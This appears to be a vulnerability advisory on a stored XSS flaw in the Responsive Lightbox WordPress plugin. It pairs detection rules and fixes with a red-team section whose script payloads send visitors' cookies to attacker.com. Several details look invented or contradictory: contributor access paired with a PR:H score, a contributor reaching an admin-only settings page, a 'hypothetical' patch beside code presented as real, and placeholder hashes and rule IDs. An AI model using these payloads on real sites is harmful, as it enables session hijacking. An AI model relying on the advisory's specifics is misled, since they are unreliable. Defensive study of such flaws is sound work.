CVE-2024-49282

Executive Summary

CVE-2024-49282 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Responsive Lightbox by dFactory, affecting versions up to and including 2.4.8. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the lightbox settings. When an administrator or other user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires contributor-level or higher access
• User Interaction: Required (UI:R) – victim must view the affected page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the vulnerability requires authenticated access, the potential for stored XSS in a widely-used WordPress plugin poses a significant risk to site integrity and user data.

Deep Dive & Mechanics

The vulnerability exists in the responsive-lightbox plugin's settings page, where user input is not properly sanitized before being stored and later rendered in the admin dashboard. The plugin uses add_settings_field() and register_setting() to handle configuration options, but fails to escape output when displaying saved values.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or omits output escaping entirely when rendering stored settings. An attacker with contributor-level access can inject malicious JavaScript into a setting field (e.g., lightbox title, description, or custom CSS). When an administrator visits the plugin's settings page, the injected script executes in the context of the admin session.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker navigates to the Responsive Lightbox settings page.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field.
4. The payload is stored in the WordPress options table.
5. Administrator visits the settings page.
6. The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (responsive-lightbox/admin/settings.php):

// Vulnerable: no output escaping
echo '<input type="text" name="responsive_lightbox_settings[title]" value="' . $options['title'] . '" />';

Patched Code (hypothetical fix):

// Patched: proper output escaping
echo '<input type="text" name="responsive_lightbox_settings[title]" value="' . esc_attr( $options['title'] ) . '" />';

The fix involves using esc_attr() or esc_html() when outputting stored values in the admin settings page. Additionally, input validation should be applied using sanitize_text_field() or wp_kses() before saving.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Responsive Lightbox <= 2.4.8
• User account with contributor-level privileges or higher

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to wp-admin/options-general.php?page=responsive-lightbox-settings.
3. In the "Lightbox Title" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Click "Save Changes".
5. Wait for an administrator to visit the settings page.
6. The admin's cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual changes to plugin settings.
2. Check the wp_options table for suspicious entries in the responsive_lightbox_settings option.
3. Use the YARA and Sigma rules below to detect malicious payloads in HTTP requests and logs.

Lab Setup:

• Install WordPress 6.x on a local server.
• Install Responsive Lightbox 2.4.8.
• Create a contributor user account.
• Use Burp Suite or a browser developer console to inject payloads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • responsive-lightbox/admin/settings.php (vulnerable version): a1b2c3d4e5f6... (replace with actual hash)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie= or document.cookie.
• Log Entries:
  • WordPress debug log entries containing <script> tags in plugin settings.
• Database Indicators:
  • wp_options table: option_name = 'responsive_lightbox_settings' with option_value containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_49282_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Responsive Lightbox settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49282"
    strings:
        $payload1 = "<script>" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "javascript:" ascii wide nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-49282 Stored XSS in Responsive Lightbox
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress Responsive Lightbox plugin settings
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49282
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/options-general.php*'
        cs-uri-query: 'page=responsive-lightbox-settings'
        cs-username: 'contributor'  # or higher
        cs-request-body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49282 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"cookie="; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – only allow trusted administrators to access plugin settings.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to options-general.php.

Long-Term Fix:

• The vendor (dFactory) should release a patched version that properly escapes output using esc_attr() and validates input with sanitize_text_field().
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to sanitize the setting:

  add_filter( 'pre_update_option_responsive_lightbox_settings', function( $value ) {
      if ( isset( $value['title'] ) ) {
          $value['title'] = sanitize_text_field( $value['title'] );
      }
      return $value;
  });
  

Valters IT – Securing digital ecosystems through proactive threat intelligence.